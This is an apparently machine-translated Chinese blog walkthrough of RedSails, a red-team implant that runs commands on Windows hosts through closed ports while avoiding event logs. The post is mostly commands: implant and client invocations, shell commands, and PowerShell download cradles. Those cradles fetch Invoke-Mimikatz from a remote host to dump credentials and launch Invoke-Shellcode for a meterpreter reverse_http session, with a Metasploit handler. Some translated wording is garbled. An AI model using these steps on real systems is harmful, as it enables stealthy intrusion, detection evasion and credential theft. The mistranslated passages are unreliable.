现代环境实施不同级别的安全控制,如端点解决方案,主机入侵防御系统,防火墙和实时事件日志分析。另一方面,红队参与试图逃避这些控制,以避免被发现。但是,大多数工具会通过生成各种事件日志在网络级别或主机级别上产生某种噪声。
RJ Mcdown和约书亚THEIMER已经发布了一个工具叫redsails中间DerbyCon 2017年,其宗旨是让红队无需创建任何事件日志或建立新连接执行目标主机上的命令。这个工具是用python编写的,它使用一个开源网络驱动程序(WinDivert),它与windows内核交互,以便操纵TCP流量到另一个主机。植入物可以使用被Windows防火墙阻挡或未打开的端口,以便与命令和控制服务器进行通信。应该注意,植入物需要以管理员级别权限执行。
Redsails具有以下依赖项:
pip install pydivert pip install pbkdf2 easy_install pycrypto
在安装pycrypto之前还需要Microsoft Visual C ++编译器。需要使用以下参数在目标上执行植入:
redsails.exe -a <IP Address> -p <password> -o <port>
需要使用相同的端口和密码,并在命令和控制服务器上建立shell。
python redsailsClient.py -t <IP Address> -p <password> -o <port>
redsails - 客户端参数
即使有直接连接,也不会建立新连接,端口将保持监听模式。
即使端口未在主机上打开,仍可以将其用于命令执行而无需创建任何新连接。
redsails - 端口22未激活
redsails – Shell via Closed Port
可以从目标上的redsails控制台执行命令。
SHELL::net users SHELL::whoami SHELL::ipconfig
Redsails还支持PowerShell,因此它可以执行PowerShell命令。
redsails - PowerShell
可以使用其他PowerShell脚本,以便在目标上执行进一步的重新调整或从内存中收集凭据
PSHELL::IEX(New-Object Net.WebClient).Downloadstring('http://192.168.100.2/tmp/Invoke-Mimikatz.ps1');Invoke-Mimikatz
也可以通过执行Invoke-Shellcode powershell脚本将此shell升级到meterpreter会话。
PSHELL::IEX(New-Object Net.WebClient).Downloadstring('http://192.168.100.2/tmp/Invoke-Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_http -LHOST 192.168.100.2 -LPORT 8080
以下Metasploit模块可用于接收连接:
exploit/multi/handler set payload windows/meterpreter/reverse_http
redsails - Meterpreter Session
然而,这将破坏该工具的目的,因为将建立新的连接并且任何主机入侵防御系统都更容易被检测到。